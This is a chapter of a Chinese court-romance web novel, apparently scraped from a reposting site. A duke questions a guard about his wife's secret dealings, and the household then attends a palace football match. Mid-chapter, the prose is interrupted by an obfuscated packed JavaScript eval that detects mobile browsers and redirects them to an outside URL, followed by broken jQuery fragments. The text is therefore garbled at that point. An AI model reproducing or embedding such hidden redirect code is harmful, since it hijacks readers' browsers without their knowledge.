44. 第44章

作品:《为姐姐嫁给国公爷后

    江承言将乌头药粉收拾好,神色忧郁,“如果是宫中的人,那这件事恐怕就不简单了。”


    说话间,江承言注意到江澜序的脖子上有淤青,声音一顿,话题也随之一转,“二哥,你脖子上怎么有伤口?”


    江澜序在他目光注视下,抬手去摸自己的脖子,肌肤隐隐刺痛,江承言凑近,“是谁能让二哥受伤?”


    他抬眼瞧见半个牙印,待要细瞧,被江澜序一手肘撞到肚子上,顿时吃痛地捂着肚子后退几步,“不是,二哥,我这么关心你,你却对我下如此重手,你可真是伤我的心呐。”


    “没什么事情,你可以滚了。”


    江澜序抬手翻看案桌上的文书,态度十分冷漠。


    江承言看见他这么反常的态度,再结合刚才他看见的伤口,瞬间就明了,乐得将手掌一拍,“哦,我懂了,二哥,你这是和嫂嫂圆房了,啧啧啧……”


    江承言的脸上大写着难以置信,实在没想到江澜序居然真跟年知秋圆房,这件事真得很让江承言出乎意料。


    他有些八卦地问道:“这到底是二哥你主动的,还是嫂嫂主动的,应该是嫂嫂主动的吧。”


    “看来你很清闲……”江澜序面无表情地吐字。


    “二哥,我下去忙了,祝你和嫂嫂早日生大胖儿子。”江承言已经预判江澜序接下来说的话,麻溜离开。


    屋内只剩下江承言的声音还在回荡。


    江澜序手握着文书,眉睫低垂,心思却不在公务上面。


    芝息走进皇城司,在江澜序面前半跪下来,抱拳行礼,“国公爷。”


    她低着头心想,真是跑得了和尚跑不了庙,在她还在考虑要不要坦白从宽的时候,江澜序就把她叫过来。


    偷偷用余光看江澜序一眼,发现江澜序的脸色比平日更加冰冷严肃,连忙收好目光。


    “说。”江澜序的话言简意赅。


    “嗯,国公爷想要属下说什么?”芝息抬眼,一脸无辜,试图装傻充愣蒙混过关。


    “来人……”


    守在门外的两个侍卫跨步进屋,芝息见情况不对,连忙出声道:“等等!国公爷,我说,我把我知道的都说出来。”


    这些日子过得太安逸,安逸到她居然觉得这个男人好说话。


    侍卫重新退回外面。


    “夫人昨晚是去见承恩王世子。”


    不是疑问句,而是陈述句。


    芝息惊悚,抬头,原来国公爷一直都知道夫人跟承恩王世子接触。


    “是……不过国公爷你放心,我看夫人跟承恩王世子接触并不是为了私情,反而是想借着承恩王世子的手查些什么。”


    她说完这句话,明显感受到男人周身散发着让人难以忽视的冷意,面无表情的脸如同凝上一层薄薄的冰霜。


    芝息心里吐槽:也是,不知道国公夫人到底有什么事情需要承恩王世子出手,夫人宁愿相信一个陌生男人也不相信自己的夫君,谁还能不破防。


    “她中得春药可是跟宋迟叙有关?”


    “夫人今早向我打听陈华生,许是跟陈华生有关。”


    “陈华生?”江澜序将这三个字重复一遍。


    江澜序的记忆力不差,回想起那日陈华生的动作和眼神确实有些不对劲。


    “呵呵!”江澜序突然冷笑出声,这些人是一点都不把他放在眼中吗?


    “你还知道什么?”


    “嗯……夫人她似乎还会些拳脚,其他的,夫人没有给属下透露。”


    说起这件事,芝息没有从江澜序脸上看到惊讶。


    轮到芝息不解这两人之间的事情。


    江澜序很少叫她过来询问关于年知秋的事情,芝息觉得夫人在国公府的作为,国公爷未必不知晓。


    这么一想,芝息瞬间寒毛倒竖。


    “你回去继续保护夫人,我不希望再有那晚之事发生。”


    江澜序是在警告她,这是最后一次机会。


    “是!”


    她起身正要退下,江澜序再复开口叫住她,“等等。”


    “国公爷还有什么吩咐?”


    “你可知道寻常夫妇成婚后该如何相处?”


    哈?


    芝息心中冒出一连连串的问号,看江澜序端肃的面容,不知道的还以为他嘴里说出的话是什么大事。


    “这……属下也没有成婚。”


    “你是女子,若是你成婚,你会想要和自己夫君怎么相处?”


    芝息只好耐着头皮说道:“属下希望对方与我心意相通,时常陪伴身侧,会跟我去玩,会吃东西,能分享一天下来遇到的乐事。”


    她说完后去看江澜序的反应,江澜序的眉头皱了皱,“你这么没出息的吗?”


    “……”


    “你退下吧。”江澜序朝她挥了挥手。


    “是。”


    ……


    “宫里举办蹴鞠比赛,我也要入宫?”


    “我听说往年都是由太子和国公爷两人带头比赛。”小梅说道。


    “国公爷已经准备好马车接夫人入宫参观,虽然说比赛主要是看男子,但是在三公主的坚持下,也为女子准备小蹴鞠比赛场,相比大蹴鞠赛场更加安全,夫人要是感兴趣也可以试着玩玩。”


    年知秋对这个活动还真有些兴趣。


    “府中还有其他人去吗?”


    “大夫人和大少夫人也去。”


    看来蹴鞠比赛也挺热闹的。


    “好,我换身衣服就出门。”


    年知秋换了身利落的收腰收袖的骑马服,带上小梅往门口走去,迎面撞上大夫人和李时珠。


    先前大夫人和李时珠不止是计划落空,更是脸面丢尽,两人看见年知秋,脸色肉眼可见地难看起来。


    大夫人不客气地冷哼一声,无视年知秋往前走去。


    李时珠搀扶着大夫人往前走,看年知秋一眼后,她猛地抓住大夫人的手臂,瞳孔微缩,大夫人皱眉轻嘶一声,李时珠连忙将手上的力道松开些,缓和自己脸上的神情。


    “你真是笨手笨脚的,连这点小事都做不好。”


    谢淑君责怪。


    她近来脾气不顺都发泄在李时珠的身上。


    李时珠一声不吭,扶着谢淑君一同上了马车,年知秋盯着李时珠的身影,神情若有所思。


    “小梅,你觉不觉得刚才李氏的脸色有点不对劲。”


    “夫人这么说,奴婢瞧着是有点,好像很惊讶惊恐?”


    “她应该是害怕夫人你!”小梅思索一番后,得出结论。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195827|192611||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    年知秋总觉得没有小梅说的那么简单,也想不出前因后果,只能将脑海中的想法暂时搁置,带着小梅一同上马车。


    ……


    皇宫内,江澜序和皇帝在御花园内说话。


    “你夫人也回进宫参加,正好三公主也喜欢蹴鞠,两人应该可以一起玩,毕竟是将军之女,这些方面应该不弱。”


    “陛下见怪,内子身体弱,可能不能进行激烈的活动。”


    皇帝摸着胡子哈哈大笑起来,“澜序,你这么快就护上,看来你跟你夫人感情很好。”


    “陛下的赐婚,乃是天赐良缘,臣感激不尽。”


    身边的内侍在皇帝身边提醒道:“陛下,太子殿下过来。”


    宋江均迎面走过来,在皇帝和江澜序跟前停下来,他朝皇帝行礼,“儿臣见过父皇。”


    皇帝对太子的态度很是冷淡,自从皇后去世后,皇帝对太子的感情更淡,若不是他是皇后所出的嫡长子,怕是当不了太子。


    “父皇,你可以前去蹴鞠塞场,儿臣一切事宜都准备好了。”


    “太子,今年的蹴鞠比赛,输给澜序不要太难看,朕对你就很欣慰。”


    太子面上挂着和煦的笑容,袖下的手却紧握成拳,“父皇,今年儿臣一定会赢得比赛。”


    皇帝哈哈哈地笑了几声,伸手拍了拍太子的肩头,“不错,你有这股劲就可以了。”


    宋江均眼帘低垂,眼中闪过一丝不可察觉的阴霾。


    江澜序朝皇帝和太子行礼,“陛下,殿下,现家眷已入宫,夫人初入宫廷,不熟规矩,我先行退下安置内子。”


    “好好,你去吧,看你这副神色,心思都不在朕这里。”


    江澜序行礼完后转身离开。


    皇帝看着江澜序离开的背影,对着太子感叹道:“没有想到像镇国公这样的人,现在也有了弱点。不知道是件好事还是坏事。”


    “对父皇来说,是件好事。”


    皇帝看他一眼,笑了笑,“太子,你还得努力,走吧,不要让朕失望。”


    年知秋一掀开车帘,就看见江澜序站在马车跟前,他今日穿得一身暗紫色朝服,肌肤白皙如玉,眸漆如墨,腰身挺拔,玉貌清绝。


    她脑海不由地浮现那夜帐幔内,面前的男子是如何跟她抵死缠绵……


    “夫人小心。”


    江澜序朝她伸手,低声叮嘱。


    是在提醒她下马车时小心。


    年知秋没有迟疑,握住江澜序的手,果然做了世界上最亲密的事情,两人都不排斥肢体接触。


    年知秋今日没有穿繁复的裙子,轻易下了马车,男人掌心灼热,短短的时间,她的掌心出了一层细汗。


    江澜序握着她的手没有松开的打算,年知秋也不好在宫中当众与他争执,只好轻声提醒,“国公爷,你该松手。”


    李时珠同谢淑君下马车。


    谢淑君看见江澜序和年知秋两人当众手拉手,不知羞耻的画面,转开脸,嘴里嘀咕,“两个不要脸的玩意。”


    李时珠望着两个人,两人好像相互依偎在一起,裙尾和袍角被风顺着相贴一起,亲密无间。


    不甘心充斥着她每一寸心腔。


    年知秋见他还不松手,眉头一皱,用手指甲去抠他的掌心。